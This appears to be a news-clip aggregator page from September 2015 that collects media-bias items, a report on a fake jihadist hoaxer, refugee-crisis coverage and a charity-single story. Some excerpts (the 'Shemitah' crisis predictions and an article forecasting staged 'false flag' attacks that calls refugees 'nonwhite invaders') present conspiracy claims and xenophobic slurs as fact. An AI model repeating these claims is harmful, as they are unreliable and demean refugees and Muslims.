Since 2001, the United States has been carrying out drone attacks in several countries, including Yemen, Pakistan, Afghanistan and Somalia.
A US MQ-9 Reaper assassination drone
VIDEO-CLIPS-DOCS
VIDEO-SHEMITAH EXPOSED: Financial Crisis Planned For September 2015 - YouTube
Sun, 13 Sep 2015 04:38
VIDEO-Isaac Newton's September 23, 2015 prophecy; September 24, 2015- "100% PROBABILITY" of Asteroid - YouTube
Sun, 13 Sep 2015 04:06
VIDEO-Wake Up! (Sept 13/23/28, 2015 ) 14 End Times Events - Prophetic Compilation. - YouTube
Sun, 13 Sep 2015 03:55
VIDEO-September 23 2015 What will happen? - YouTube
Sun, 13 Sep 2015 03:48
VIDEO-Nets Minimize Coverage of Perry's Departure; Hype 'Buzz' Over Biden | MRCTV
Sun, 13 Sep 2015 03:20
[More in the cross-post on the MRC's NewsBusters blog.]
ABC, CBS, and NBC's evening newscasts on 11 September 2015 all barely mentioned former Texas Governor Rick Perry suspending his second bid for the Republican presidential nomination. Altogether, ABC's World News Tonight, CBS Evening News, and NBC Nightly News set aside 54 seconds to Perry's announcement. By contrast, the Big Three news programs devoted 6 minutes and 11 seconds to Vice President Joe Biden's Thursday appearance on CBS's Late Show. NBC's Peter Alexander touted how Biden was still "riding a wave of emotion" after his son Beau's death in May 2015.
VIDEO-Scarborough Scolds Mika for Suggesting Schumer Controlled by Jewish Lobby | MRCTV
Sun, 13 Sep 2015 02:38
On Morning Joe, Joe Scarborough and Mika Brzezinski clash over the motivation of those opposing the Iran deal. Scarborough condemns those who suggest opponents are controlled by Jewish interests. When Mika says that Chuck Schumer is "did what he had to do" Scarborough rips her for displaying the kind of cynicism he had been describing.
VIDEO-Only CBS Covers Latest on ISIS Intel Being Altered by Obama Admin. | MRCTV
Sun, 13 Sep 2015 02:22
More in the cross-post on the MRC's NewsBusters blog.
Two weeks after offering a mere 21-second news brief on allegations that the Pentagon altered intelligence data on ISIS ''to provide a more optimistic account of progress'' against the terror group, Thursday's CBS This Morning was the only network morning show to report on 50 intelligence officials confirming that their analyses were changed.
Talking to former CIA deputy director Mike Morell on This Morning, fill-in co-host and Face the Nation moderator John Dickerson wondered: ''I want to get your thoughts this morning about a story in The Daily Beast about 50 intelligence officials who have said that in some cases say their reports have been altered by senior officials in some cases to make it look like the fight against ISIS and Al Qaeda is going better than it might be. What's your reaction to that?''
VIDEO-Ellen to Hillary: 'You Don't Have to' Answer E-Mail Questions, 'They Have Not Found a Thing' | MRCTV
Sun, 13 Sep 2015 01:17
More in the cross-post on the MRC's NewsBusters blog.
In a fawning ''interview'' with Hillary Clinton aired on Thursday that amounted to a campaign rally, liberal talk show host Ellen DeGeneres teed up the Democratic front-runner to brush the e-mail scandal aside: ''Let's just get this out of the way. Let's talk about the emails...What?'' Clinton replied: ''I'm glad you asked. I used a personal email account. It was allowed by the State Department, but I should have used two different accounts. I made a mistake and I'm sorry for all the confusion that has ensued.''
Clinton added: ''So I'm just, you know, I'm going to keep talking about it and answering questions.'' DeGeneres assured her: ''I actually don't think you need to. It's just that people keep bringing it up. They have not found a thing. They keep saying they've found something, but then we don't hear anything about it. So they haven't found anything.''
VIDEO-CBS Touts Assisted Suicide on Brink of Passage in California; Barely Covers Pro-Life Side | MRCTV
Sun, 13 Sep 2015 01:13
See more in the cross-post on the NewsBusters blog.
On Thursday, the CBS Evening News pushed a heavily slanted report on assisted suicide a day before the California State Senate will vote on whether or not to legalize the matter in the Golden State that would be modeled after Oregon's law allowing doctors to provide lethal medication to extremely ill patients.
In the three-minute-and-three-second segment, only 32 seconds were devoted to the pro-life cause against euthanasia that chief medical correspondent Dr. Jon LaPook ruled will not be settled anytime soon.
VIDEO-9/11: Decade of Deception (Full Film NEW 2015) - YouTube
Sun, 13 Sep 2015 00:41
VIDEO-SHEMITAH EXPOSED II: The Most Disturbing Events and Trends We Face in September and Beyond | The Dollar Vigilante
Sat, 12 Sep 2015 23:54
On July 14th we released a video called ''SHEMITAH EXPOSED: Financial Crisis Planned For September 2015''. On July 15th I put out a one sentence blog with the video attached saying, ''The Most Important 30 Minutes Of Your Life Starts Now'...''.
Since then, at least 20 major stock markets around the world have crashed and the NYSE saw its biggest one day point drop in history.
Some, who paid attention, have already made a fortune as one of our recommendations rose 4,500% in three days in late August.
Since then, I wrote the book, ''Shemitah Trends '' The Plot to Enslave Humanity and How To Find Freedom''.
It was featured prominently in Times Square in New York yesterday'...
'...and I have now decided to offer the book for free to everyone (which you can get here). I think it is that important.
As I talk about in our new video, I think we have changed the game. I think heinous criminals like Henry Kissinger, George Soros and their bosses have been exposed. I even went to their secret Bilderberg meeting in Austria in June to let them know the jig is up.
I've even received communication from some high level people that we have disrupted some of their plans. Well, we'll see. We will be on top of this throughout September and the rest of the year'... and I've been told by a high level newly anarcho-capitalist military official in the US that things begin this year and by 2017 you won't even recognize America.
Some of that is hearsay, of course'... But I will tell you this. Hang on to your hats.
Here is my latest update on what is going on (that you aren't being told about by media presstitutes on CNN and CNBC) and how this may now play out.
The game is not yet over, it has only just begun. And here we go!
This is a struggle that I expect to last 1-2 years'... not much more. Fortunes will be made and lost. But this isn't just about making money. But profiting off of being righteous is just a fun side-effect. And have no fear'... they thrive off of fear.
It is about what is true and right. Mark my words. Good night central banksters, politicians and the hordes of useful idiots who have sold their souls to keep this evil system alive. You will reap what you have sown.
Anarcho-Capitalist. Libertarian. Freedom fighter against mankind's two biggest enemies, the State and the Central Banks. Jeff Berwick is the founder of The Dollar Vigilante, CEO of TDV Media & Services and host of the popular video podcast, Anarchast. Jeff is a prominent speaker at many of the world's freedom, investment and gold conferences including his own, Anarchapulco, as well as regularly in the media including CNBC, CNN and Fox Business.
VIDEO-Jet engine parts on Las Vegas runway indicate major failure - Yahoo Finance
Sat, 12 Sep 2015 21:33
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VIDEO-Study: High Blood Pressure Treatments Too Weak - YouTube
Sat, 12 Sep 2015 20:53
VIDEO-FBI says 'Australian IS jihadist' is actually a Jewish American troll named Joshua Ryne Goldberg
Sat, 12 Sep 2015 20:40
Video will begin in 5 seconds.
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Replay videoUS man accused of 9/11 memorial bomb plotA 20-year-old whose online identity was 'Australi Witness' - an ISIS agent apparently living in Perth - has been arrested at his parents' place in Florida over plotting a bomb attack at a 9/11 memorial event.
PT1M7S620349A young Jewish American man has been charged with pretending to be an Australian-based Islamic State jihadist after a FBI joint investigation with the Australian Federal Police based on information provided by Fairfax Media.
Joshua Ryne Goldberg, a 20-year old living at his parents' house in US state of Florida, is accused of posing online as "Australi Witness," an IS supporter who publicly called for a series of attacks against individuals and events in western countries.
In recent days Australi Witness has claimed online that he is working with other jihadists to plan attacks in Australia and the United States. He distributed pictures of a bomb that he was working on with "2 lbs of explosives inside".
Joshua Goldberg
Early on Friday, Australian time, Goldberg, who is non-Muslim and has no real-world links with extremism, was arrested at his home by Florida police for "distribution of information relating to explosives, destructive devices, and weapons of mass destruction".
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Australian national security and citizenship laws were strengthened last year to create a new offence of advocating terrorism, partly to stop online recruitment of jihadists, and Prime Minister Tony Abbott earlier this year allocated significant funding to security agencies because "too many Australians are being brainwashed online by this death cult".
The device appears to resemble a "pressure cooker bomb", similar to the type of explosive used in the Boston Marathon attack.
Joshua Goldberg is not Muslim or Australian. Photo: Facebook
However, one of those apparent representatives of Islamic State has now been revealed as an America-based, non-Muslim online hoaxer.
The Australian Federal Police do not intend to apply for Goldberg's extradition, but said in a statement that he faced a 20-year prison term if convicted.
"Investigations by the AFP in June 2015 established no initial threat to the Australian community. When investigations determined it was likely the person responsible for these threats was based in the United States, the investigation became the jurisdiction of the FBI, with the AFP in a support role."
AFP Acting Deputy Commissioner National Security Neil Gaughan alleged Goldberg had "relied on the internet providing a cloak of anonymity".
"This operation again highlights how law enforcement can investigate people in the online space and use our long-established partnerships to work with overseas agencies to bring people to account for their actions".
An affidavit sworn at the time of the arrest says that, between August 19 and August 28, Mr Goldberg "distributed information pertaining to the manufacturing of explosives, destructive devices, or weapons of mass destruction in furtherance of an activity that constitutes a Federal crime of violence".
US Attorney Lee Bentley III, said Goldberg instructed a confidential source how to make a bomb similar to two used in the Boston Marathon bombings two years ago that killed three people and injured more than 260 others.
He allegedly instructed someone how to fill the bomb with nails, metal and other items dipped in rat poison.
Police base the charge on his communication of five web links to sites that provided instructions that could be used to make explosives as part of a plot to explode a bomb on September 13 at a memorial ceremony in Kansas City, commemorating the 9/11 the terrorist attacks.
The affidavit, released by Special agent William Berry of US Customs and Border Protection, says that Goldberg had initially denied to officers that he had any involvement with distributing information on how to make a bomb, but then later admitted it.
"Goldberg further admitted that he believed the information would create a genuine bomb," Agent Berry alleged.
However, Goldberg also claimed that he meant for the person he was communicating with to either kill himself creating the bomb or, that Goldberg intended to warn police in time so that he would receive "credit for stopping the attack".
In conversations with Fairfax Media, which were also cited in the affidavit, Mr Goldberg had said he did not expect any jihadist to actually carry out an attack because: "These guys are pussy keyboard warriors".
Fairfax media can also reveal that Goldberg, as Australi Witness, is suspected of a number of other online hoaxes, including posing online as prominent Australian lawyer, Josh Bornstein.
Australi Witness's online actions might have had fatal real-world consequences in May.
In the leadup to an exhibition in Garland, Texas, at which pictures of the Prophet Mohammed were to be displayed, "Australi Witness" tweeted the event's address and reposted a tweet urging people to go there with "weapons, bombs or with knifes".
Two Muslim men attempted an attack at the exhibition, and were killed by police. Australi Witness then praised them online as martyrs.
A tweet from Australi Witness. Photo: Twitter
Australi Witness also urged followers to target Australian cartoonist Larry Pickering, who has previously depicted the Prophet Mohammed.
The Australi Witness persona fooled members of the international intelligence community as well as journalists, with well-known analyst Rita Katz of SITE Intelligence Group saying the "IS supporter" held a "prestige" position in online jihadi circles and was "part of the hard core of a group of individuals who constantly look for targets for other people to attack".
Ms Katz has previously acted as a consultant for US and foreign governments and testified before Congress on online terrorist activities.
The Australian Federal Police were unaware of Australi Witness's real identity as Goldberg until contacted by journalists working on behalf of Fairfax Media.
In the Bornstein hoax, Goldberg established a blog on the Times of Israel in the lawyer's name before posting an inflammatory article calling for the "extermination" of Palestinians. The Times retracted the article and apologised, and Bornstein went public with the story saying "I deplore racism'...I've fought racism since I was four years old".
When confronted, Goldberg boasted he had avoided detection, saying, "That guy has no idea. He thinks [online radical right wing website] Daily Stormer did it." He also said he wanted to obtain Bornstein's real life address, in order to "freak him out even more".
In conversations and in articles written under his real name, Goldberg repeatedly professed to be an advocate for free speech, and showed disdain for organisations and individuals who call for limits on hate speech or hate speech laws.
As Australi Witness, he publicly linked himself to Amnesty International, saying that he used to work there. The fake jihadi also claimed a friendship with anti-Islamophobia campaigner Mariam Veiszadeh, but only to smear her reputation.
In online conversations, Goldberg said: "I wanna smear Amnesty and Mariam Veiszadeh'...Amnesty is already in hot water over their links to CAGE, I wanna cement their jihadist connections and ruin their reputation. And Mariam is a Muslim whore, so smearing her as a jihadist should be easy."
Ms Veiszadeh said she was not suprised at Goldberg's arrest, saying she had "fallen within his radar" because of the campaign by an anti-Muslim hate group, the Australian Defence League, who campaigned to "incite hatred and violence towards me from across the globe."
Mr Bornstein declined to comment.
Elise Potaka is a journalist for SBS
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VIDEO-"Taking In Refugees Biggest Error In History" | LBC
Sat, 12 Sep 2015 15:14
Friday 11th September 2015
Nigel Farage told LBC that if Europe opens its doors unconditionally to refugees, it could prove to be the biggest mistake in history.
The Ukip leader said here needs to be stricter checks on the refugees we are allowing into Britain.
Speaking to Nick Ferrari he said: "Islamic State have said they will use this tide of humanity across the Mediterranean to embed thousands of their jihadist fighters into Europe. They mean it.
"And yet what do we have? We have people who want to feel good about themselves holding up signs saying refugees welcome.
"At the oment, the UN estimates there are 59million people in the world who are displaced by conflicts and wars of some kind.
"I'm not against doing what we can to help people who are in camps in Turkey and Lebanon.
"But for Europe to have opened its doors unconditionally, I think could prove to be one of the biggest mistakes in history."
VIDEO-Help Is Coming: how the single for refugees came together | Music | The Guardian
Sat, 12 Sep 2015 14:29
I'm naive at times, but I'm not that naive. Why would I imagine that, in seven days, an idea that only exists in my head will have mutated into the worldwide release of a single to raise money and awareness of the exodus of the Syrian refugees into Europe? How on earth could that happen? From conception to execution in a week? As I said, I'm not that naive.
It was going to be a seven-inch single. Just a limited run of 1,000. Our kids had gone to bed and my wife '' Caitlin Moran '' and I were watching footage of Syrian families alighting what looked like a large, overcrowded dinghy in Kos, with no idea of what reception awaited them, or what would ultimately be their new home. In this howling void of uncertainly, all that kept these people going was the primal, universal compulsion to find a safe place for their families. And among this ticker tape flurry of appalling images, one song faded up in my head. At that moment, it felt like the only song that had ever come close to evoking something of what these people must be going through.
According to Crowded House's Neil Finn, ''Help Is Coming was always a song about refugees, even if, at the time, I was thinking about people arriving from Europe on ships to Ellis Island, seeking a better life for their families in America. In the words of the poem inscribed on the Statue of Liberty, that extraordinary statement of intent for the development of a great nation, 'Give me your tired, your poor / Your huddled masses yearning to break free.'''
Yes, this song sounded like what we were watching. So, what now? I found it on my iTunes browser and played it to Caitlin, who was sitting next to me on the sofa. ''That's exactly it, isn't it?'' she said. ''How weird that a song recorded 20 years ago should fit so perfectly.''
The song was still in my head when I woke up the following morning, to newspaper images of three-year-old Aylan Kurdi, his life ended by a journey he shouldn't have had to make. And even then, I didn't do much about it. I think I was hoping that someone else might magically come to the same realisation, but Help Is Coming is one of the most obscure songs in Crowded House's catalogue, but in 2015, this hushed, heartbreaking hymn to the human spirit in times of unrest sounded like it could do some useful work.
Caitlin Moran before speaking at the Edinburgh International Book Festival. Photograph: Murdo Macleod for the GuardianI sent a speculative email to a friend at The Vinyl Factory '' the Soho-based record label arm of the old EMI pressing plant in Hayes '' and asked about the possibility of getting 1,000 7in singles made. Would they be up for waiving their manufacturing costs if I could get Neil, the publishers and the licensing label to waive their royalties? Within half an hour Sean at The Vinyl Factory and Neil had both responded to say they would love to be involved.
Yes. What a beautiful word that is. I've heard the word ''yes'' so many times this week, when really it would have been so much easier for people to say ''no''. That will always stay with me. There needed to be so many yeses for this to work. But at the end of last week, I had no clear idea of how many people I would be asking and what I would even be asking them for. At the end of Thursday 3 September, this was just an idea for a limited release of record '' and contingent on a conversation with the label that owned the song. The next problem was finding out who did own the song. In this case, Help Is Coming was subject to the complicated fallout of EMI's buyout at the hands of Universal in America and Warners in this country. I had friends at Universal but not at Warners, so I called them and told them what I was doing. Mike Smith, the head of their Mercury imprint, copied in the label's managing director and suggested I come in on Monday morning. Perhaps we could iron this out then?
But what, ultimately, was this? How much money can 1,000 records raise? Ten grand perhaps? Fifteen if you charge a bit more? Some sort of film was needed to go with it. Caitlin took to Facebook late that Thursday night and asked if anyone knew any film-makers or video editors who could put something together. Film producer Alison Owen was in America on the promo trail with Suffragette. She replied straight away, offering facilities, suggesting names. Many other people offered their services too. But it would be really good to have a film for Monday. With the right film, we could surely push for the rush-release of a download. Maybe iTunes could get involved? With the right film, the wheels might really get moving.
Pete Paphides: 'It's incredible what power the combination of music, words and images can unlock.' Photograph: IBL/Rex ShutterstockBut it was an insane thing to wish for. At 6pm on Friday, we still didn't have anyone. I got a call from a close friend, Chris, who runs online content for Glastonbury and Coldplay. He could put me in touch with Mat Whitecross, who directed several Coldplay videos and co-directed The Road to Guantanamo. But Mat had a five week-old baby and was already in the process of editing a film.
It just so happens though, that Mat had been watching the same footage as us two nights previously. Mat is married to an Iranian refugee. He is the son of Argentinian refugees. He had wanted to get involved, but didn't quite know how. We sent him a song. Not for the first time, we got a response marvelling at the eerie topicality of Neil Finn's words. As Mat got to work on his impossible deadline, we alerted Save the Children and asked them if they would be happy to serve as beneficiaries of any money raised by the song. The more people started to get involved, the scarier it felt. Through a friend who had recently started working for Apple in Los Angeles, I attempted to relay a message to the elusive upper echelon of people at iTunes who have the clout to authorise waiving their profits from downloads. Normally it takes about two months to get a response from these people. I was advised not to hold my breath.
Related:Help is Coming: how I chose a forgotten Crowded House song to help Syrian refugees
But it's incredible what power the combination of music, words and images can unlock. Up until last Sunday, I hadn't quite stopped to realise just how incredible that is. But that afternoon, Mat sent us a rough copy of what he had been working on. In the time available, I was expecting a simple montage of affecting images from the tragedy. But somehow, in four minutes, the combination of Neil's song and Mat's film managed to convey the awful narrative that had driven these families on the long, hard march away from home, possibly never to return. With every viewing, a different detail would reduce me to tears: the eyes of the man at the beginning, asking, ''Where is humanity?''; the exhausted children asleep on the shoulders of exhausted parents; the endless walking; the heart-stopping vastness of the ocean; a small boy ruminating on the strangeness of the word ''refugee''; and the crowds of good, good people at Frankfurt station, loaded with bags of shopping, and banners that read, ''REFUGEES WELCOME.'' A reminder that it's the duty of every human being to vindicate the faith shown in them by other human beings.
Somehow, by the end of Sunday, it felt like there was a forward momentum that I could barely try and steer let alone stop. I went to sleep shaking. Surely, this can't be the only song? Surely, I'll wake up and read that Simon Cowell or Ed Sheeran or Taylor Swift or someone, anyone, is organising a song, something which acts as the awareness-raising expedient by which people can gather and contribute? I know it's crass, but that's the way it works in a post-Band Aid world, right? With every humanitarian disaster, there's a song that exists to do this work. Surely this can't be the song?
But on Monday morning, there was still no song. I awoke to a DropBox email containing artwork for the release by Nick Seymour, bassist with Crowded House, who had created the artwork for all of their previous records: a simple but elegant depiction of the song title, painted on a wooden block. My friend at Apple also responded to a link to the video which I sent her the previous evening. She had forwarded it to Jay Liepis, Head of US and Artist Relations at iTunes with the words, ''I'm bawling here''. Now Jay had promised to contact me at some point. This offered a glimmer of hope. Two days previously, the guy at iTunes in Britain emailed me to tell me that this was far too short notice for them to get involved.
More in a spirit of blind bravado than anything correlating to how the real world works, I was telling everyone that we were moving towards a Tuesday launch. But it was becoming apparent that even Friday would be little short of a miracle. In the office of Mike Smith at Universal, I typed in the URL on his computer and turned the screen around so we could all watch. I thought I might be getting desensitised to those images, but as Help Is Coming boomed out of Mike's speakers, I started to go again. Men are odd at times like these. We all looked straight ahead, somehow instinctively conscious of not wanting to catch each other's eyes. When the video finished, almost in unison, both of them said, ''What can we do?''
Neil Finn performs on stage during Falls festival in Lorne, Australia. Photograph: Cassandra Hannagan/WireImageI mentioned a Friday release date for the download, with a simultaneous launch for the video across all the usual online platforms. They looked at each other and agreed that it was almost impossible. ''But then, it has to be now, doesn't it?'' said Mike, almost rhetorically. By the time, I cycled back home, it seemed like the entire label had been thrown into this. We already got the assurance that Universal would waive their royalties. I already had a message from John Kennedy, the entertainment lawyer who oversaw the logistics of the three official Band Aid singles, pledging to do whatever he could to help expedite the release of Help Is Coming this week. Did I want to pop in and see him tomorrow?
From thereon in, the week accelerated into a surreal blur. On holiday in Greece, Neil Finn was as much a bemused bystander to what was happening as anyone else. He diverted some of his energy into finishing the vocal on a song that could be used for the B-side of the vinyl version of the single. Hearing about the song, Stella Creasy MP raised the issue in the House of Commons on Tuesday afternoon, completing an impassioned address about the refugee crisis by asking Theresa May if the government would remove waive VAT from sales of the track. The first I heard about it was as I was scanning my texts upon leaving John Kennedy's house, along with news that our PR friend Julian '' who volunteered to work on the release with immediate effect '' had secured a Thursday night premiere of the film on Newsnight. Five minutes previously, John Kennedy had told me he would be sending the video to Bob Geldof, adding ''He's seeing George Osborne at the GQ Awards tonight. Maybe he could mention removing the VAT.''
By the time, I returned home, Sir Bob had emailed back to say that he found Mat's film ''heartbreaking'' and Caitlin had persuaded Benedict Cumberbatch to film an intro for the video. How soon could we get a film crew to The Barbican? Mat Whitecross managed to rustle on up within an hour. It had to be that quick because another 30 minutes and Benedict would be going on stage at The Barbican. In his address, Benedict quoted a poem called Home by Warsan Shire, which manages to convey something of the terror experienced by the Syrian refugees '' indeed, all refugees '' in chillingly stark economy. As Benedict was being filmed, Caitlin was at home, on the phone to The Poetry Society, exclaiming, ''Help! I have a poetry emergency!'' We needed to locate Warsan Shire '' if, for whatever reason, she wasn't happy with the way her words were being used, then we wouldn't be able to use Benedict's film. Four hours later, we heard back from her. Another green light in what was becoming a record breaking run of them. We just needed one more now.
The iTunes guy, Jay Liepis, sounded tired in a trying-not-to-sound-tired way when he called me. At some point, it had become clear to them that this song and this film were going to be launched on Friday whatever happened. ''iTunes is going to donate all of its royalties for the song,'' he assured me, adding that they would give it a prominent placing on its home page. But even then, this was contingent upon redelivery of the audio master and a super hi-resolution image of the sleeve art. ''These things don't magically appear,'' he said, trying his best to sound to sound as reasonable and upbeat as anyone can when his company is 24 hours away from a massive product launch of its own. I'll spare you the details, but releasing a song at less than 72 hours notice is more complicated than any of us had imagined.
It might be complicated, but it is possible. Just about. I'm sitting at my kitchen table on Friday afternoon, just over a week after sending those first two emails to Neil Finn and The Vinyl Factory. With hours to spare, helpiscoming.org was completed. An email exchange between about 20 people '' Universal people, Save the Children people, graphic designers and a video director who was up all the previous night making final edits to the film, as well as gifs and Instagram videos '' hammered out the last-minute technicalities well into the small hours. It's been a strange sort of relief to see that people around the world have clicked on the link and found themselves struggling to find adequate words for the plight of the people whose story Mat relays so empathetically. In the space of a few hours Help Is Coming has leapt out of nowhere into iTunes' top 30; Coldplay exhorted their 37m Facebook followers to download it; George Osborne has promised to remove VAT from sales of the song and '' as well as playing the song over the speakers in their match against Stoke City this weekend '' Arsenal have pledged to donate £1 for every spectator in attendance.
Somehow it happened. There wasn't another song. This was the song.Please visit helpiscoming.org. Crowded House: Help Is Coming is available to buy from iTunes. All proceeds to Save The Children. Text GIVE to 61144 to donate £5.
VIDEO->> It Begins: Europe Flooded With Reports Of ''ISIS Terrorists'' Posing As Refugees Alex Jones' Infowars: There's a war on for your mind!
Sat, 12 Sep 2015 14:12
While the US is looking back at the 14 year anniversary of what is widely accepted as the biggest terrorist event in modern US history, in Europe it is time to look forward to what may be the advent of domestic ''terrorism'' in the coming months, whether real or false flagged.
Earlier this week, one of our contributors Erico Tavares pointed out something disturbing, namely that in Europe's perpetual search for ''crises'' on which to capitalize in its relentless encroachment to a European superstate, the current migrant crisis may be a blessing in disguise (assuming, of course, it wasn't premeditated from day one as others have suggested).
Why blessing? Because just like the US Patriot Act which allowed a massive expansion of the US government apparatus while obliterating civil and privacy rights (highlighted earlier today), confirmed a decade later by Edward Snowden, was a regulation in search of a terrorist event, so Europe's next superstate expansion will require a comparable anti-terrorism ''rush'' in which the population voluntarily hands Europe's supra-government even more rights to centrally-plan as it sees fit.
Which means that as part of the refugee crisis in which tens of thousands of innocent Syrians have been displaced and seeking European asylum, it was only a matter of time before one or more was ''found'' to be ISIS terrorists in order to perpetuate the fear and crisis narrative. A crisis which Brussels would never go to waste.
That time has arrived following a report by German RTL and carried by NewObserver that ''an ISIS terrorist posing as an ''asylum seeker'' has been arrested by German police in a ''refugee'' center in Stuttgart, and German customs officers have seized boxes containing Syrian passports being smuggled into Europe.''
So it begins.
According to RTL, the terrorist is a 21-year-old Moroccan using a ''false identity'' who had registered as an asylum seeker in the district of Ludwigsburg. He was identified after police linked him to a European arrest warrant issued by the Spanish authorities. He is accused of recruiting fighters for ISIS, where he acted as a contact person for fighters who wanted to travel to Syria or Iraq.
This arrest of the alleged bogus ''asylum seeker'' comes at the same time that a German finance ministry spokesman said that''boxes'' of fake Syrian passports, destined for sale and distribution to the hordes of nonwhite invaders seeking to settle in Europe as bogus ''war refugees,'' had been seized.''
That news, carried in a report by the German Tagespiegel newspaper, also revealed that 10,000 fake Syrian passports were seized by police in Bulgaria, on their way to Germany.
The finance ministry official said both genuine and forged passports were in the packets intercepted in the post. Possession of these passports is a vital part of claiming ''asylum'' as ''war refugees.''
The Tagespiegel also revealed that the fake Syrian passports are being sold for about $1,500 each'--and the fact that many of the ''refugees'' can afford to buy multiple passports is yet another indication of the bogus nature of their claims to be ''asylum seekers.''
Significantly, the Tagespiegel article continued, ''It is not only Syrians who are interested in Syrian passports. Refugees from Iraq, Afghanistan, and Pakistan want to become Syrian in order to secure their recognition as asylum seekers in Western Europe. According to press reports, nine out of ten refugees who came from Macedonia to Serbia claimed they were Syrians.''
Setting the expectations was the head of the EU frontier police, Fabrice Leggeri, who in a recent interview with the Europe 1 TV station said that the trade in fake Syrian passports originated in Turkey. ''There are people who are now in Turkey, buying false Syrian passports because they have obviously realized that it is a windfall since Syrians get asylum in all Member States in the European Union,'' he said. ''People who use false Syrian passports often speak in Arabic. They may originate in North Africa or the Middle East, but have the profile of economic migrants.''
And then just to ratchet the fear factor, earlier this week Hungary's most watched national TV channel, M1, reported Tuesday that at least two ''terrorists'' were uncovered via photographs on social media after entering Europe as refugees.
RT has more:
''Islamist terrorists, disguised as refugees, have showed up in Europe. [The] pictures were uploaded on various social networks to show that terrorists are now present in most European cities. Many, who are now illegal immigrants, fought alongside Islamic State before,'' the report said.
The Hungarian channel broadcasted collections of photographs of the two men from social media. The first set depicted two individuals with weapons and the second set showed them smiling as they arrived in Europe.
A breach in the ''terrorism has arrived'' narrative emerged it was revealed that the man claimed to be an Islamic State militant had previously given aninterview to AP, saying that he was a former Syrian rebel commander. ''The AP reported that his name was Laith Al Saleh, 30, and he ''led a 700-strong rebel unit in Syria's civil war.'' The news agency's photos taken on August 15 showed Al Saleh among other refugees waiting to board an Athens-bound ferry on the Greek island of Kos.''
And then it gets awkward: AP reported that he was a member of the Free Syrian Army, which is fighting against the Syrian government forces of President Bashar Assad, as well as against terrorist groups in the region.
Actually, the US-funded and supported FSA's only purpose was the same as that of ISIS '' to crush the Syrian army and overthrow the elected president so Qatar can break Gazprom's monopoly on European gas imports.
But now the second key role of ISIS is also starting to emerge: the terrorist bogeyman that ravages Europe and scares the living daylight out of people who beg the government to implement an even more strict government apparatus in order to protect them from refugees ISIS terrorists.
But ignore the facts, and focus on the propaganda, which as RT further adds is in full crisis mode: A recent article in the UK Express Daily claimed that IS ''smuggled thousands of covert jihadists into Europe.'' It cited a January BuzzFeed interview with an IS operative who said the militants have already sent some 4,000 fighters into Europe under guise of refugees.
These speculations have not been confirmed by Western security officials, although that's only temporary: as the need to ratchet up the fear factor grows, expect more such reports of asylum seekers who have penetrated deep inside Europe, and whose intentions are to terrorize the public. Expect a few explosions throw in for good effect.
Certainly expect a version of Europe'a Patriot Act to emerge over the next year, when the old continent has its own ''September 11'' moment, one which will provide the unelected Brussels bureaucrats with even more authoritarian power.
And since everyone knows by now ''not to let a crisis go to waste'' the one thing Europe needs is a visceral, tangible crisis, ideally with chilling explosions and innocent casualties. We expect one will be provided on short notice.
VIDEO-French consul In Turkey suspended for boat sales to migrants | euronews, world news
Sat, 12 Sep 2015 13:54
A French reporter looking for the source of boats used by refugees to get to Europe from Turkey followed the trail to a shop belonging to the French honorary consul in the port town of Bodrum.
Footage from France 2 showed Francoise Olcay selling the rubber boats and lifejackets from her shop which had a French flag and a 'consular agency of France' sign hanging outside. She has now been suspended.
In the video she admits to taking part in selling the goods, but also implicates local Turkish authorities and says that if she didn't sell them, they would be bought elsewhere.
Bodrum has become a portal to Europe to thousands of refugees. It was along this coastline that three-year-old Aylan Kurdi drowned along with his mother and brother and nine other Syrians when their boat capsized as they headed for Greece.
VIDEO-: Rustling up nutritious burgers ''made entirely from FLIES | Weird News | Funny, Strange & Bizarre UK News Stories | Daily Star
Sat, 12 Sep 2015 13:07
It doesn't sound very appetising '' but this video shows how burgers made out of the insects are giving beef a run for its money.
The trillions of midges that plague Africa's Lake Victoria in the rainy season are proving an unlikely source of fast food for locals.
They are said to fly in swarms big enough to suffocate a person '' which makes the critters easy picking.
PATTY: The fly burgers are cooked like any others [IG]
PROTEIN: Though healthy,the burgers have been described as "pretty tasteless" [GETTY]
Villagers catch the flies in wet pots and mash them together to make protein-packed patties.
The snacks are then cooked like normal beef burgers '' but are said to be up to seven times more nutritious.
But it looks like McDonald's needn't start worrying yet.
One Reddit user who tried the burgers in Mozambique said: "They were pretty much tasteless".
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VIDEO-Attkisson: CBS Intentionally Held Obama Soundbite to Help Him Win Reelection - Breitbart
Sat, 12 Sep 2015 13:04
Host Howard Kurtz asked, ''Let's talk about what happened with '60 Minutes,' the day after the Benghazi attacks with President Obama. and that sounded like '-- or some of that interview ended up not being used. after the second 2012 debate, it became a big issue whether or not the president had or had not referred to Benghazi attacks as terrorist attacks.''
During the 2012 presidential debate, Mitt Romney had said it took Obama 14 days to admit the attack was terrorism but Obama bulked saying he did that day, but when asked the next day he is seen refusing to give a terror motive saying, ''Well, it's too early to know exactly how this came about, what group was involved. but, obviously, it was an attack on Americans.''
Attkisson said, ''Let me say that that exchange should have been pulled out immediately after the debate, which would have been very newsy at the time. It was exclusive to CBS. It would have to me proven Romney's point against Obama. But that clip was kept secret.''
''I was covering Benghazi, nobody told me we had it and directed me from the 'Evening News' to a different clip of the same interview to give the impression that the president had done the opposite. And it was only right before the election that somebody kind of leaked out the transcript to others of us as CBS and we were really shocked. We saw that was something very unethical done to have kept that up.''
She added, ''The 'Evening News' people who had access to that transcript, according to the emails that I saw when it was sent from '60 Minutes' to 'Evening News' the very day it was taken, they, in my view, skipped over it, passed it up, kept it secret. And I think that was because they were trying to defend the president and they thought that would be harmful to him.''
Follow Pam Key on Twitter @pamkeyNEN
VIDEO-The Wilks Brothers: The newest mega-donors
Sat, 12 Sep 2015 11:01
The largely unknown Dan and Faris Wilks, who made their billions in the fracking boom, are the biggest donors in the 2016 race for the White House. So far, they have even outspent the billionaire Koch brothers.
Reuters TV
Your news when you want it, straight from the source and made to fit your day.
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VIDEO-Kanye West for president? Here's what Chelsea Clinton thinks | EW.com
Sat, 12 Sep 2015 10:46
The world still doesn't know what to make of Kanye West's announcement that he wants to run for president in 2020. Was he serious? If so, how long has he been planning it? And will he still feel the same way in a few years?
For now, though, someone with bona fide White House experience '-- former first daughter Chelsea Clinton '-- has weighed in on the notion of Yeezus for President.
In the wake of the rapper-producer's sprawling speech declaring his ambitions at last week's MTV's Video Music Awards, Clinton said in an interview with the network that West's words could inspire young people to think about politics.
